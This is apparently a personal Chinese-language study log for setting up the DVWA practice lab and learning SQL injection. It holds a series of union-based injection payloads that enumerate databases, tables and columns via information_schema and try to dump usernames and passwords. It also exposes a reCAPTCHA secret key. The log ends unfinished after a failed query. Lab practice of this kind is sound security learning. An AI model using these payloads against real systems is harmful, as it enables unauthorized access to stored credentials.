2024.01.30
一、搭建环境
参考
DVWA下载、安装、使用(漏洞测试环境搭建)教程-CSDN博客
https://blog.csdn.net/m0_68012373/article/details/128053192
- 安装phpstudy
下载phpstudy,小皮面板(phpstudy) - 让天下没有难配的服务器环境!;
安装;
启动;
2.安装DVWA
2.1下载DVWA,http://www.dvwa.co.uk/;
解压至phpstudy网站根目录www中;
2.2解决爆红
2.2.1密钥补充
将 config.inc.php.dist重命令为 config.inc.php;
修改config.inc.php内容;
在网站https://www.google.com/recaptcha/admin获取密钥并填充
Site key:
6Le5nGApAAAAAFz1FIM91vfNcralxaa1Z721wid5
Secret key:
6Le5nGApAAAAAIjii567w1YbYMfX0NGC_ZVn5yqJ
2.2.2开启PHP url_include模块
在phpstudy安装地址中找到php.ini
将allow_url_include设置为On
重启phpstudy
3.使用DVWA
3.1设置数据库
浏览器打开http://127.0.0.1/DVWA/setup.php
登录,默认用户名为admin,密码为password;
设置安全级别为low
二、学习SQL注入
在输入框输入1并提交,回显正常,输入值被传递给参数“id”;
url头中为“id=1&Submit=Submit#”
查看源码(前两种方法均无法查看php代码);
1)按F12
2)Ctrl+U查看网页源代码
3)访问http://127.0.0.1/DVWA/vulnerabilities/view_source.php?id=sqli&security=low查看php源代码;
可以看到参数“id”没有过滤,且参数值直接拼接给SQL语句,说明可能有SQL注入;
验证前面的判断,用单引号“ ’ ”判断是否存在注入,注意:要使用英文标点单引号;
中文单引号回显正常
输入1’并提交,英文单引号回显不同,有SQL语法报错,则有注入;
或者使用判断语句
输入1’ and 1=1 #回显正常
输入1’ and 1=2 #回显不同,因此判断存在SQL注入
判断了注入存在,接下来使用“order by”语句判断列数;
输入1' order by 2 #回显正常
输入1' order by 3 #报错,说明存在两列
判断完列数以后,可以看一下是否有显示位,如果有就可以在页面显示需要查询的数据库名、表名等,如果没有显示位置,就直接进行盲注了。
2024.02.01
输入1' union select 1,2 #看显示位
可以看到1,2两个字段都是显示位
利用显示位查数据库名和数据库版本
输入1' union select database(), version() #数据库名在第一个显示位,数据库版本在第二个显示位
数据库名为dvwa,数据库版本为5.7.26
由于MySQL版本大于5.0,所以该版本的MySQL有默认的“information_schema”数据库,保存了所有数据库的信息。
在输入框输入1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' #并提交
此时的URL为
报错
搜索解决办法https://blog.csdn.net/m0_47470899/article/details/118695774
实际应用:用16进制的方式读取
拼接url:
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata
更改后的url:
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(hex(schema_name)) ,3 from information_schema.schemata
然后再利用在线加解码工具解码;
修改输入内容为1' union select hex(table_name),hex(table_schema) from information_schema.tables where table_schema='dvwa' #并提交
或者修改输入为
1' union select unhex(hex(table_name)),unhex(hex(table_schema)) from information_schema.tables where table_schema='dvwa' #
看到表有”guestbook””users”两个
知道数据库名和库中的表名以后,可以查询表中的所有字段
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #并提交
未报错,但没有显示
group_concat
修改输入为
1' union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=’users’ #
或者是
1' union select 1,group_concat(unhex(hex(column_name))) from information_schema.columns where table_name=’users’ #
并提交
报错
测试报错原因:
1)符号错误
修改输入为(将单引号改为双引号)
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=“users” #并提交
仍报错
2)多余空格
没有修改的地方
3)引号位置
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
??????????????????????????????????????????????????????????????????????????????????????????
输入1’ union select user,password from users #
没反应